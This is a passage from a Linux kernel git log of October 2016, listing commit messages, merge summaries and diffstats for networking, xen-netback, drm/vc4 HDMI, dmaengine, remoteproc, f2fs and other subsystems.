SKB_WITH_OVERHEAD(16384) Fixes: 9063e21fb026 ("netlink: autosize skb lengthes") Signed-off-by: Eric Dumazet Reported-by: Alexei Starovoitov Cc: Greg Thelen Reviewed-by: Greg Rose Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller net/netlink/af_netlink.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit 6664498280cf17a59c3e7cf1a931444c02633ed1 Author: Anoob Soman Date: Wed Oct 5 15:12:54 2016 +0100 packet: call fanout_release, while UNREGISTERING a netdev If a socket has FANOUT sockopt set, a new proto_hook is registered as part of fanout_add(). When processing a NETDEV_UNREGISTER event in af_packet, __fanout_unlink is called for all sockets, but prot_hook which was registered as part of fanout_add is not removed. Call fanout_release, on a NETDEV_UNREGISTER, which removes prot_hook and removes fanout from the fanout_list. This fixes BUG_ON(!list_empty(&dev->ptype_specific)) in netdev_run_todo() Signed-off-by: Anoob Soman Signed-off-by: David S. Miller net/packet/af_packet.c | 1 + 1 file changed, 1 insertion(+) commit 3d9e133fe611a4efc9be3ff04a0dcdf705fa6d84 Author: Mike Looijmans Date: Wed Oct 5 16:03:08 2016 +0200 devicetree: net: micrel-ksz90x1.txt: Properly explain skew settings The KSZ9031 skew registers contain an offset, the chip's default value is "neutral" which does not add any skew. Programming a 0 into a skew property will actually set it the maximal negative adjustment and not to a neutral position as one would expect. Explain this situation in the devicetree binding documentation and list the settings that the chip considers neutral. Changing the implementation to accept negative values would have been a better solution, but would break existing configurations. Signed-off-by: Mike Looijmans Reviewed-by: Florian Fainelli Signed-off-by: David S. Miller Documentation/devicetree/bindings/net/micrel-ksz90x1.txt | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit 0a55c12f9734105c004e464b5eebb79f08634d7a Author: Raju Lakkaraju Date: Wed Oct 5 14:19:27 2016 +0530 net: phy: Add Wake-on-LAN driver for Microsemi PHYs. Wake-on-LAN (WoL) is an Ethernet networking standard that allows a computer/device to be turned on or awakened by a network message. VSC8531 PHY can support this feature configure by driver set function. WoL status get by driver get function. Tested on Beaglebone Black with VSC 8531 PHY. Signed-off-by: Raju Lakkaraju Signed-off-by: David S. Miller drivers/net/phy/mscc.c | 128 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 128 insertions(+) commit ed2eb0fb873e792798258eb00071d68f7278fa78 Author: Laurent Pinchart Date: Tue Oct 4 19:45:46 2016 +0300 dt-bindings: net: renesas-ravb: Add support for R8A7796 RAVB Add a new compatible string for the R8A7796 (M3-W) RAVB. Signed-off-by: Laurent Pinchart Reviewed-by: Geert Uytterhoeven Signed-off-by: David S. Miller Documentation/devicetree/bindings/net/renesas,ravb.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 0fb26c3063ea7095fcdd1cf1dfd39e57130bc80c Author: Mugunthan V N Date: Tue Oct 4 19:07:29 2016 +0530 drivers: net: cpsw-phy-sel: add support to configure rgmii internal delay Add support to enable CPSW RGMII internal delay (id mode) bits when rgmii internal delay is configured in phy. Signed-off-by: Mugunthan V N Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpsw-phy-sel.c | 14 ++++++++++++++ 1 file changed, 14 insertions(+) commit 451e856ef70907caec288d56c71b9409f29311d6 Author: Colin Ian King Date: Tue Oct 4 13:57:01 2016 +0100 net: hns: Add missing \n to end of dev_err messages, tidy up text Trival fix, dev_err messages are missing a \n, so add it. Also fix grammer, spelling mistake and add white spaces to various error messages. Signed-off-by: Colin Ian King Signed-off-by: David S. Miller drivers/net/ethernet/hisilicon/hns/hns_dsaf_mac.c | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) commit 87089dd76815b153892ed4c9f4006d66c087ae28 Author: Colin Ian King Date: Tue Oct 4 12:15:54 2016 +0100 net: ps3_gelic: Add missing \n to end of deb_dbg message Trival fix, dev_dbg message is missing a \n, so add it. Signed-off-by: Colin Ian King Signed-off-by: David S. Miller drivers/net/ethernet/toshiba/ps3_gelic_net.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 68c8182bedb138dda9b67f68a928f7ef25b169ff Author: Colin Ian King Date: Tue Oct 4 12:11:41 2016 +0100 net: axienet: Add missing \n to end of dev_err messages Trival fix, dev_err messages are missing a \n, so add it. Signed-off-by: Colin Ian King Signed-off-by: David S. Miller drivers/net/ethernet/xilinx/xilinx_axienet_main.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit eb76a9f1f2f159293013e709ba72e8aacb7d7409 Merge: 00c06ed 2167ca0 Author: David S. Miller Date: Thu Oct 6 20:38:30 2016 -0400 Merge branch 'xen-netback-rx-refactor' Paul Durrant says: ==================== xen-netback: guest rx side refactor This series refactors the guest rx side of xen-netback: - The code is moved into its own source module. - The prefix variant of GSO handling is retired (since it is no longer in common use, and alternatives exist). - The code is then simplified and modifications made to improve performance. v2: - Rebased onto refreshed net-next ==================== Signed-off-by: David S. Miller commit 2167ca029c2449018314fdf8637c1eb3f123036e Author: Ross Lagerwall Date: Tue Oct 4 10:29:18 2016 +0100 xen/netback: add fraglist support for to-guest rx This allows full 64K skbuffs (with 1500 mtu ethernet, composed of 45 fragments) to be handled by netback for to-guest rx. Signed-off-by: Ross Lagerwall [re-based] Signed-off-by: Paul Durrant Reviewed-by: David Vrabel Signed-off-by: David S. Miller drivers/net/xen-netback/interface.c | 2 +- drivers/net/xen-netback/rx.c | 38 ++++++++++++++++++++++++++++--------- 2 files changed, 30 insertions(+), 10 deletions(-) commit a37f12298c251a48bc74d4012e07bf0d78175f46 Author: David Vrabel Date: Tue Oct 4 10:29:17 2016 +0100 xen-netback: batch copies for multiple to-guest rx packets Instead of flushing the copy ops when an packet is complete, complete packets when their copy ops are done. This improves performance by reducing the number of grant copy hypercalls. Latency is still limited by the relatively small size of the copy batch. Signed-off-by: David Vrabel [re-based] Signed-off-by: Paul Durrant Signed-off-by: David S. Miller drivers/net/xen-netback/common.h | 1 + drivers/net/xen-netback/rx.c | 27 +++++++++++++++++---------- 2 files changed, 18 insertions(+), 10 deletions(-) commit 98f6d57ced73b723551568262019f1d6c8771f20 Author: David Vrabel Date: Tue Oct 4 10:29:16 2016 +0100 xen-netback: process guest rx packets in batches Instead of only placing one skb on the guest rx ring at a time, process a batch of up-to 64. This improves performance by ~10% in some tests. Signed-off-by: David Vrabel [re-based] Signed-off-by: Paul Durrant Signed-off-by: David S. Miller drivers/net/xen-netback/rx.c | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) commit 7c0b1a23e6f983fe392c8ffa71d05189ae52ebb5 Author: David Vrabel Date: Tue Oct 4 10:29:15 2016 +0100 xen-netback: immediately wake tx queue when guest rx queue has space When an skb is removed from the guest rx queue, immediately wake the tx queue, instead of after processing them. Signed-off-by: David Vrabel [re-based] Signed-off-by: Paul Durrant Signed-off-by: David S. Miller drivers/net/xen-netback/rx.c | 24 ++++++++---------------- 1 file changed, 8 insertions(+), 16 deletions(-) commit eb1723a29b9a75dd787510a39096a68dba6cc200 Author: David Vrabel Date: Tue Oct 4 10:29:14 2016 +0100 xen-netback: refactor guest rx Refactor the to-guest (rx) path to: 1. Push responses for completed skbs earlier, reducing latency. 2. Reduce the per-queue memory overhead by greatly reducing the maximum number of grant copy ops in each hypercall (from 4352 to 64). Each struct xenvif_queue is now only 44 kB instead of 220 kB. 3. Make the code more maintainable. Signed-off-by: David Vrabel [re-based] Signed-off-by: Paul Durrant Signed-off-by: David S. Miller drivers/net/xen-netback/common.h | 23 +- drivers/net/xen-netback/rx.c | 576 ++++++++++++++------------------------- 2 files changed, 215 insertions(+), 384 deletions(-) commit fedbc8c132bcf836358103195d8b6df6c03d9daf Author: Paul Durrant Date: Tue Oct 4 10:29:13 2016 +0100 xen-netback: retire guest rx side prefix GSO feature As far as I am aware only very old Windows network frontends make use of this style of passing GSO packets from backend to frontend. These frontends can easily be replaced by the freely available Xen Project Windows PV network frontend, which uses the 'default' mechanism for passing GSO packets, which is also used by all Linux frontends. NOTE: Removal of this feature will not cause breakage in old Windows frontends. They simply will no longer receive GSO packets - the packets instead being fragmented in the backend. Signed-off-by: Paul Durrant Reviewed-by: David Vrabel Signed-off-by: David S. Miller drivers/net/xen-netback/common.h | 1 - drivers/net/xen-netback/interface.c | 4 ++-- drivers/net/xen-netback/rx.c | 26 -------------------------- drivers/net/xen-netback/xenbus.c | 21 --------------------- 4 files changed, 2 insertions(+), 50 deletions(-) commit 3254f83694fe519ac18b8334a2f481d80c3a8a3a Author: Paul Durrant Date: Tue Oct 4 10:29:12 2016 +0100 xen-netback: separate guest side rx code into separate module The netback source module has become very large and somewhat confusing. This patch simply moves all code related to the backend to frontend (i.e guest side rx) data-path into a separate rx source module. This patch contains no functional change, it is code movement and minimal changes to avoid patch style-check issues. Signed-off-by: Paul Durrant Signed-off-by: David S. Miller drivers/net/xen-netback/Makefile | 2 +- drivers/net/xen-netback/netback.c | 754 ------------------------------------ drivers/net/xen-netback/rx.c | 789 ++++++++++++++++++++++++++++++++++++++ 3 files changed, 790 insertions(+), 755 deletions(-) commit c6594fc6af1924b7fdce600088b10e3b3b159fb7 Merge: 553911c a649244 Author: Linus Torvalds Date: Thu Oct 6 17:36:53 2016 -0700 Merge branch 'mailbox-for-next' of git://git.linaro.org/landing-teams/working/fujitsu/integration Pull mailbox updates from Jussi Brar: "New driver and DT bindings for MHU controller integrated on Amlogic Meson platform" * 'mailbox-for-next' of git://git.linaro.org/landing-teams/working/fujitsu/integration: dt-bindings: mailbox: Add Amlogic Meson MHU Bindings mailbox: Add Platform Message-Handling-Unit variant driver commit 00c06ed779bee562603b28b088d7a8143dd2d94f Merge: 4c1fad6 2fbfadb5 Author: David S. Miller Date: Thu Oct 6 20:32:05 2016 -0400 Merge branch 'fman-next' of git://git.freescale.com/ppc/upstream/linux Madalin Bucur says: ==================== fsl/fman: cleanup and small fixes This series contains fixes for the DPAA FMan driver. Adding myself as maintainer of the driver. ==================== Signed-off-by: David S. Miller commit 553911c67eb701d46e2dcd073f603c6f6546c38b Merge: 521f397 c847509 Author: Linus Torvalds Date: Thu Oct 6 17:13:54 2016 -0700 Merge tag 'dmaengine-4.9-rc1' of git://git.infradead.org/users/vkoul/slave-dma Pull dmaengine updates from Vinod Koul: "This is bit large pile of code which bring in some nice additions: - Error reporting: we have added a new mechanism for users of dmaenegine to register a callback_result which tells them the result of the dma transaction. Right now only one user (ntb) is using it. - As we discussed on KS mailing list and pointed out NO_IRQ has no place in kernel, this also remove NO_IRQ from dmaengine subsystem (both arm and ppc users) - Support for IOMMU slave transfers and its implementation for arm. - To get better build coverage, enable COMPILE_TEST for bunch of driver, and fix the warning and sparse complaints on these. - Apart from above, usual updates spread across drivers" * tag 'dmaengine-4.9-rc1' of git://git.infradead.org/users/vkoul/slave-dma: (169 commits) async_pq_val: fix DMA memory leak dmaengine: virt-dma: move function declarations dmaengine: omap-dma: Enable burst and data pack for SG DT: dmaengine: rcar-dmac: document R8A7743/5 support dmaengine: fsldma: Unmap region obtained by of_iomap dmaengine: jz4780: fix resource leaks on error exit return dma-debug: fix ia64 build, use PHYS_PFN dmaengine: coh901318: fix integer overflow when shifting more than 32 places dmaengine: edma: avoid uninitialized variable use dma-mapping: fix m32r build warning dma-mapping: fix ia64 build, use PHYS_PFN dmaengine: ti-dma-crossbar: enable COMPILE_TEST dmaengine: omap-dma: enable COMPILE_TEST dmaengine: edma: enable COMPILE_TEST dmaengine: ti-dma-crossbar: Fix of_device_id data parameter usage dmaengine: ti-dma-crossbar: Correct type for of_find_property() third parameter dmaengine/ARM: omap-dma: Fix the DMAengine compile test on non OMAP configs dmaengine: edma: Rename set_bits and remove unused clear_bits helper dmaengine: edma: Use correct type for of_find_property() third parameter dmaengine: edma: Fix of_device_id data parameter usage (legacy vs TPCC) ... commit 521f3970853a4b2ff7f833763532bdba2ea11257 Merge: d880e5a 395317b Author: Linus Torvalds Date: Thu Oct 6 17:03:49 2016 -0700 Merge tag 'rpmsg-v4.9' of git://github.com/andersson/remoteproc Pull rpmsg updates from Bjorn Andersson: "The bulk of these patches involve splitting the rpmsg implementation into a framework/API part and a virtio specific backend part. It then adds the Qualcomm Shared Memory Device (SMD) as an additional supported wire format. Also included is a set of code style cleanups that have been lingering for a while" * tag 'rpmsg-v4.9' of git://github.com/andersson/remoteproc: (26 commits) rpmsg: smd: fix dependency on QCOM_SMD=n rpmsg: Introduce Qualcomm SMD backend rpmsg: Allow callback to return errors rpmsg: Move virtio specifics from public header rpmsg: virtio: Hide vrp pointer from the public API rpmsg: Hide rpmsg indirection tables rpmsg: Split rpmsg core and virtio backend rpmsg: Split off generic tail of create_channel() rpmsg: Move helper for finding rpmsg devices to core rpmsg: Move endpoint related interface to rpmsg core rpmsg: Indirection table for rpmsg_endpoint operations rpmsg: Move rpmsg_device API to new file rpmsg: Introduce indirection table for rpmsg_device operations rpmsg: Clean up rpmsg device vs channel naming rpmsg: Make rpmsg_create_ept() take channel_info struct rpmsg: rpmsg_send() operations takes rpmsg_endpoint rpmsg: Name rpmsg devices based on channel id rpmsg: Enable matching devices with drivers based on DT rpmsg: Drop prototypes for non-existing functions samples/rpmsg: add support for multiple instances ... commit d880e5ad0df3c2e1d69bb356737a46abb5087d42 Merge: 4c1fad6 fbb6aac Author: Linus Torvalds Date: Thu Oct 6 17:00:09 2016 -0700 Merge tag 'rproc-v4.9' of git://github.com/andersson/remoteproc Pull remoteproc updates from Bjorn Andersson: "In addition to a slew of minor fixes and cleanups these patches refactor how we deal with remoteprocs that will be auto-booting themselves. That does clean up the remote resource handling but makes for additional work to clarify responsibilities and life cycles of resources. We also revise how module locking of remoteproc drivers work, so that they are locked as we hand out references to them to third parties, rather than only when booted by anyone. In addition to that we also introduce the Qualcomm Wireless Subsystem remoteproc driver" * tag 'rproc-v4.9' of git://github.com/andersson/remoteproc: (26 commits) remoteproc: Refactor rproc module locking remoteproc: Split driver and consumer dereferencing remoteproc: Correct resource handling upon boot failure remoteproc: Drop unnecessary NULL check remoteproc: core: transform struct fw_rsc_vdev_vring reserved field in pa remoteproc: Modify FW_RSC_ADDR_ANY definition remoteproc: qcom: wcnss: Fix return value check in wcnss_probe() remoteproc: qcom: Introduce WCNSS peripheral image loader dt-binding: remoteproc: Introduce Qualcomm WCNSS loader binding remoteproc: Only update table_ptr if we have a loaded table remoteproc: Move handling of cached table to boot/shutdown remoteproc: Move vdev handling to boot/shutdown remoteproc: Calculate max_notifyid during load remoteproc: Introduce auto-boot flag remoteproc/omap: revise a minor error trace message remoteproc/omap: fix various code formatting issues remoteproc: print hex numbers with a leading 0x format remoteproc: align code with open parenthesis remoteproc: fix bare unsigned type usage remoteproc: use variable names for sizeof() operator ... commit c68306ce20ad03ce655a367fc33ad06e12bb87a6 Merge: 8657355 87095f7 Author: Ingo Molnar Date: Fri Oct 7 00:36:49 2016 +0200 Merge tag 'perf-core-for-mingo-20161005' of git://git.kernel.org/pub/scm/linux/kernel/git/acme/linux into perf/urgent Pull perf/core improvements and fixes from Arnaldo Carvalho de Melo: - Intel PT timestamp fixes (Adrian Hunter) - Fix Intel JSON fixed counter conversions (Andi Kleen) - Sync memcpy, cpufeatures and bpf headers with the kernel (Arnaldo Carvalho de Melo) - Add some more tool tips (Donghyun Kim, Kim SeonYoung, Nambong Ha) - Fix libtraceevent's kbuffer_read_at_offset() handling of offsets before or equal the first event (Namhyung Kim) - Fix uretprobe probe placement on ppc64le (Ravi Bangoria) - Support building C++ source files and add feature detection for g++, prep work for supporting a builtin clang/llvm, to remove the need for having that toolchain installed to automagically build BPF scriptlets that then gets uploaded to the kernel via sys_bpf() (Wang Nan) Signed-off-by: Arnaldo Carvalho de Melo Signed-off-by: Ingo Molnar commit 4c1fad64eff481982349f5795b9c198c532b0f13 Merge: 0fb3ca4 e4c5d84 Author: Linus Torvalds Date: Thu Oct 6 15:30:40 2016 -0700 Merge tag 'for-f2fs-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/jaegeuk/f2fs Pull f2fs updates from Jaegeuk Kim: "In this round, we've investigated how f2fs deals with errors given by our fault injection facility. With this, we could fix several corner cases. And, in order to improve the performance, we set inline_dentry by default and enhance the exisiting discard issue flow. In addition, we added f2fs_migrate_page for better memory management. Enhancements: - set inline_dentry by default - improve discard issue flow - add more fault injection cases in f2fs - allow block preallocation for encrypted files - introduce migrate_page callback function - avoid truncating the next direct node block at every checkpoint Bug fixes: - set page flag correctly between write_begin and write_end - missing error handling cases detected by fault injection - preallocate blocks regarding to 4KB alignement correctly - dentry and filename handling of encryption - lost xattrs of directories" * tag 'for-f2fs-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/jaegeuk/f2fs: (69 commits) f2fs: introduce update_ckpt_flags to clean up f2fs: don't submit irrelevant page f2fs: fix to commit bio cache after flushing node pages f2fs: introduce get_checkpoint_version for cleanup f2fs: remove dead variable f2fs: remove redundant io plug f2fs: support checkpoint error injection f2fs: fix to recover old fault injection config in ->remount_fs f2fs: do fault injection initialization in default_options f2fs: remove redundant value definition f2fs: support configuring fault injection per superblock f2fs: adjust display format of segment bit f2fs: remove dirty inode pages in error path f2fs: do not unnecessarily null-terminate encrypted symlink data f2fs: handle errors during recover_orphan_inodes f2fs: avoid gc in cp_error case f2fs: should put_page for summary page f2fs: assign return value in f2fs_gc f2fs: add customized migrate_page callback f2fs: introduce cp_lock to protect updating of ckpt_flags ... commit 0fb3ca447ddabcfb8dc7e0f719955e500b170cbd Merge: 3940ee3 f88baf6 Author: Linus Torvalds Date: Thu Oct 6 15:16:16 2016 -0700 Merge tag 'pstore-v4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/kees/linux Pull pstore updates from Kees Cook: - Fix bug in module unloading - Switch to always using spinlock over cmpxchg - Explicitly define pstore backend's supported modes - Remove bounce buffer from pmsg - Switch to using memcpy_to/fromio() - Error checking improvements * tag 'pstore-v4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/kees/linux: ramoops: move spin_lock_init after kmalloc error checking pstore/ram: Use memcpy_fromio() to save old buffer pstore/ram: Use memcpy_toio instead of memcpy pstore/pmsg: drop bounce buffer pstore/ram: Set pstore flags dynamically pstore: Split pstore fragile flags pstore/core: drop cmpxchg based updates pstore/ramoops: fixup driver removal commit 3940ee36a0565ea7fb848e3c798afe22efd0b90a Merge: 95107b3 f60fbdb Author: Linus Torvalds Date: Thu Oct 6 13:33:35 2016 -0700 Merge tag 'for-linus-4.9-ofs1' of git://git.kernel.org/pub/scm/linux/kernel/git/hubcap/linux Pull orangefs updates from Mike Marshall: "Miscellaneous improvements: - clean up debugfs globals - remove dead code in sysfs - reorganize duplicated sysfs attribute structs - consolidate sysfs show and store functions - remove duplicated sysfs_ops structures - describe organization of sysfs - make devreq_mutex static - g_orangefs_stats -> orangefs_stats for consistency - rename most remaining global variables Feature negotiation: - enable Orangefs userspace and kernel module to negotiate mutually supported features" * tag 'for-linus-4.9-ofs1' of git://git.kernel.org/pub/scm/linux/kernel/git/hubcap/linux: Revert "orangefs: bump minimum userspace version" orangefs: bump minimum userspace version orangefs: rename most remaining global variables orangefs: g_orangefs_stats -> orangefs_stats for consistency orangefs: make devreq_mutex static orangefs: describe organization of sysfs orangefs: remove duplicated sysfs_ops structures orangefs: consolidate sysfs show and store functions orangefs: reorganize duplicated sysfs attribute structs orangefs: remove dead code in sysfs orangefs: clean up debugfs globals orangefs: do not allow client readahead cache without feature bit orangefs: add features op orangefs: record userspace version for feature compatbility orangefs: add readahead count and size to sysfs orangefs: re-add flush_racache from out-of-tree orangefs: turn param response value into union orangefs: add missing param request ops orangefs: rename remaining bits of mmap readahead cache commit 9e91db6b4abecd58647a5e984d538187f1c2ea09 Author: Helge Deller Date: Thu Oct 6 09:07:30 2016 +0200 parisc: Add hardened usercopy feature Add hardened usercopy checks to parisc architecture and clean up indenting. Signed-off-by: Helge Deller arch/parisc/Kconfig | 1 + arch/parisc/include/asm/uaccess.h | 48 +++++++++++++++++++++++++++------------ arch/parisc/lib/memcpy.c | 11 +++++---- 3 files changed, 41 insertions(+), 19 deletions(-) commit dfccd937deec9283d6ced73e138808e62bec54e8 Author: Eric Anholt Date: Thu Sep 29 15:34:44 2016 -0700 drm/vc4: Add support for double-clocked modes. Now that we have infoframes to report the pixel repeat flag, we can start using it. Fixes locking the 720x480i and 720x576i modes on my Dell 2408WFP. Like the 1920x1080i case, they don't fit properly on the screen, though. Signed-off-by: Eric Anholt drivers/gpu/drm/vc4/vc4_crtc.c | 17 +++++++++++------ drivers/gpu/drm/vc4/vc4_hdmi.c | 16 +++++++++++----- drivers/gpu/drm/vc4/vc4_regs.h | 2 ++ 3 files changed, 24 insertions(+), 11 deletions(-) commit 21317b3fba5428c97779cc8a988ac603e82abd8b Author: Eric Anholt Date: Thu Sep 29 15:34:43 2016 -0700 drm/vc4: Set up the AVI and SPD infoframes. Fixes a purple bar on the left side of the screen with my Dell 2408WFP. It will also be required for supporting the double-clocked video modes. Signed-off-by: Eric Anholt drivers/gpu/drm/vc4/vc4_hdmi.c | 136 +++++++++++++++++++++++++++++++++++++++-- drivers/gpu/drm/vc4/vc4_regs.h | 5 ++ 2 files changed, 136 insertions(+), 5 deletions(-) commit 682e62c45406ccf81216481be59c2f7ca5a883d4 Author: Eric Anholt Date: Wed Sep 28 17:30:25 2016 -0700 drm/vc4: Fix support for interlaced modes on HDMI. We really do need to be using the halved V fields. I had been confused by the code I was using as a reference because it stored halved vsync fields but not halved vdisplay, so it looked like I only needed to divide vdisplay by 2. This reverts part of Mario's timestamping fixes that prevented CRTC_HALVE_V from applying, and instead adjusts the timestamping code to not use the crtc field in that case. Fixes locking of 1920x1080x60i on my Dell 2408WFP. There are black bars on the top and bottom, but I suspect that might be an under/overscan flags problem as opposed to video timings. Signed-off-by: Eric Anholt drivers/gpu/drm/vc4/vc4_crtc.c | 49 ++++++++++++++++++++++-------------------- drivers/gpu/drm/vc4/vc4_hdmi.c | 45 +++++++++++--------------------------- drivers/gpu/drm/vc4/vc4_regs.h | 3 +++ 3 files changed, 41 insertions(+), 56 deletions(-) commit 2b29bf16611a1aabb310406dd171dce6e6d51322 Author: Eric Anholt Date: Wed Sep 28 17:21:05 2016 -0700 drm/vc4: Increase timeout for HDMI_SCHEDULER_CONTROL changes. Fixes occasional debug spew at boot when connected directly through HDMI, and probably confusing the HDMI state machine when we go trying to poke registers for the enable sequence too soon. Signed-off-by: Eric Anholt drivers/gpu/drm/vc4/vc4_hdmi.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 9d44abbbb8d530e8cc97d71ffcbc0ff3b5553c62 Author: Eric Anholt Date: Wed Sep 14 19:21:29 2016 +0100 drm/vc4: Fall back to using an EDID probe in the absence of a GPIO. On Pi0/1/2, we use an external GPIO line for hotplug detection, since the HDMI_HOTPLUG register isn't connected to anything. However, with the Pi3 the HPD GPIO line has moved off to a GPIO expander that will be tricky to get to (the firmware is constantly polling the expander using i2c0, so we'll need to coordinate with it). As a stop-gap, if we don't have a GPIO line, use an EDID probe to detect connection. Fixes HDMI display on the pi3. Signed-off-by: Eric Anholt drivers/gpu/drm/vc4/vc4_hdmi.c | 3 +++ 1 file changed, 3 insertions(+) commit 6e1cbbad670cf9e9ee6fb58a8d77ca095f385eee Author: Eric Anholt Date: Fri Sep 16 10:59:45 2016 +0100 drm/vc4: Enable limited range RGB output on HDMI with CEA modes. Fixes broken grayscale ramps on many HDMI monitors, where large areas at the ends of the ramp would all appear as black or white. Signed-off-by: Eric Anholt drivers/gpu/drm/vc4/vc4_hdmi.c | 31 +++++++++++++++++++++++++++++-- drivers/gpu/drm/vc4/vc4_regs.h | 9 ++++++++- 2 files changed, 37 insertions(+), 3 deletions(-) commit 7edabee06a5622190d59689a64f5e17d1c343cc3 Author: Eric Anholt Date: Tue Sep 27 09:03:13 2016 -0700 drm/vc4: Fix races when the CS reads from render targets. With the introduction of bin/render pipelining, the previous job may not be completed when we start binning the next one. If the previous job wrote our VBO, IB, or CS textures, then the binning stage might get stale or uninitialized results. Fixes the major rendering failure in glmark2 -b terrain. Signed-off-by: Eric Anholt Fixes: ca26d28bbaa3 ("drm/vc4: improve throughput by pipelining binning and rendering jobs") Cc: stable@vger.kernel.org drivers/gpu/drm/vc4/vc4_drv.h | 19 ++++++++++++++++++- drivers/gpu/drm/vc4/vc4_gem.c | 13 +++++++++++++ drivers/gpu/drm/vc4/vc4_render_cl.c | 21 +++++++++++++++++---- drivers/gpu/drm/vc4/vc4_validate.c | 17 ++++++++++++++--- 4 files changed, 62 insertions(+), 8 deletions(-) commit 57b9f569447c4ab7b2a7e34a13e468311db4cd64 Author: Masahiro Yamada Date: Tue Sep 13 03:35:20 2016 +0900 drm/vc4: cleanup with list_first_entry_or_null() The combo of list_empty() check and return list_first_entry() can be replaced with list_first_entry_or_null(). Signed-off-by: Masahiro Yamada Signed-off-by: Eric Anholt drivers/gpu/drm/vc4/vc4_drv.h | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) commit 95107b30be68953e3a4f1c3994c2233500502ccf Merge: 541efb7 a0d0c62 Author: Linus Torvalds Date: Thu Oct 6 11:48:41 2016 -0700 Merge tag 'trace-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/rostedt/linux-trace Pull tracing updates from Steven Rostedt: "This release cycle is rather small. Just a few fixes to tracing. The big change is the addition of the hwlat tracer. It not only detects SMIs, but also other latency that's caused by the hardware. I have detected some latency from large boxes having bus contention" * tag 'trace-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/rostedt/linux-trace: tracing: Call traceoff trigger after event is recorded ftrace/scripts: Add helper script to bisect function tracing problem functions tracing: Have max_latency be defined for HWLAT_TRACER as well tracing: Add NMI tracing in hwlat detector tracing: Have hwlat trace migrate across tracing_cpumask CPUs tracing: Add documentation for hwlat_detector tracer tracing: Added hardware latency tracer ftrace: Access ret_stack->subtime only in the function profiler function_graph: Handle TRACE_BPUTS in print_graph_comment tracing/uprobe: Drop isdigit() check in create_trace_uprobe commit 1034023606d0e971f4dee6f725e441b785a846b5 Author: Bjorn Helgaas Date: Thu Oct 6 13:25:46 2016 -0500 PCI: designware: Rename dw_pcie_valid_config() to dw_pcie_valid_device() Rename dw_pcie_valid_config() to dw_pcie_valid_device() and use the result directly as a boolean value instead of testing against 0. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-designware.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 541efb7632642cab55361178d73d544f025b593c Merge: 6218590 a6a198b Author: Linus Torvalds Date: Thu Oct 6 11:19:10 2016 -0700 Merge tag 'for-linus-4.9-rc0-tag' of git://git.kernel.org/pub/scm/linux/kernel/git/xen/tip Pull xen updates from David Vrabel: "xen features and fixes for 4.9: - switch to new CPU hotplug mechanism - support driver_override in pciback - require vector callback for HVM guests (the alternate mechanism via the platform device has been broken for ages)" * tag 'for-linus-4.9-rc0-tag' of git://git.kernel.org/pub/scm/linux/kernel/git/xen/tip: xen/x86: Update topology map for PV VCPUs xen/x86: Initialize per_cpu(xen_vcpu, 0) a little earlier xen/pciback: support driver_override xen/pciback: avoid multiple entries in slot list xen/pciback: simplify pcistub device handling xen: Remove event channel notification through Xen PCI platform device xen/events: Convert to hotplug state machine xen/x86: Convert to hotplug state machine x86/xen: add missing \n at end of printk warning message xen/grant-table: Use kmalloc_array() in arch_gnttab_valloc() xen: Make VPMU init message look less scary xen: rename xen_pmu_init() in sys-hypervisor.c hotplug: Prevent alloc/free of irq descriptors during cpu up/down (again) xen/x86: Move irq allocation from Xen smp_op.cpu_up() commit e404f945a6101a6f0f2a29aade6dc32015471daa Author: Parav Pandit Date: Wed Sep 28 20:26:26 2016 +0000 IB/rxe: improved debug prints & code cleanup 1. Debugging qp state transitions and qp errors in loopback and multiple QP tests is difficult without qp numbers in debug logs. This patch adds qp number to important debug logs. 2. Instead of having rxe: prefix in few logs and not having in few logs, using uniform module name prefix using pr_fmt macro. 3. Code cleanup for various warnings reported by checkpatch for incomplete unsigned data type, line over 80 characters, return statements. Signed-off-by: Parav Pandit Signed-off-by: Doug Ledford drivers/infiniband/sw/rxe/rxe.c | 34 ++++++------------------------ drivers/infiniband/sw/rxe/rxe.h | 5 +++++ drivers/infiniband/sw/rxe/rxe_av.c | 4 ++-- drivers/infiniband/sw/rxe/rxe_comp.c | 6 ++++-- drivers/infiniband/sw/rxe/rxe_mmap.c | 2 +- drivers/infiniband/sw/rxe/rxe_mr.c | 2 +- drivers/infiniband/sw/rxe/rxe_net.c | 39 +++++++++++++++++++++++++++-------- drivers/infiniband/sw/rxe/rxe_net.h | 3 +-- drivers/infiniband/sw/rxe/rxe_qp.c | 31 +++++++++++++++------------- drivers/infiniband/sw/rxe/rxe_recv.c | 3 ++- drivers/infiniband/sw/rxe/rxe_req.c | 19 +++++++++-------- drivers/infiniband/sw/rxe/rxe_resp.c | 25 +++++++++++++++------- drivers/infiniband/sw/rxe/rxe_sysfs.c | 12 +++++------ drivers/infiniband/sw/rxe/rxe_verbs.c | 12 ++++++----- 14 files changed, 109 insertions(+), 88 deletions(-) commit b9fe856e545491fd57fc7ca195d0123df0124e7c Author: Stephen Bates Date: Fri Sep 23 09:32:11 2016 -0600 rdma_rxe: Ensure rdma_rxe init occurs at correct time There is a problem when CONFIG_RDMA_RXE=y and CONFIG_IPV6=y. This results in the rdma_rxe initialization occurring before the IPv6 services are ready. This patch delays the initialization of rdma_rxe until after the IPv6 services are ready. This fix is based on one proposed by Logan Gunthorpe on a much older code base. Signed-off-by: Stephen Bates Reviewed-by: Yonatan Cohen Signed-off-by: Doug Ledford drivers/infiniband/sw/rxe/rxe.c | 2 +- 1 file changed, 1 insertion(+), 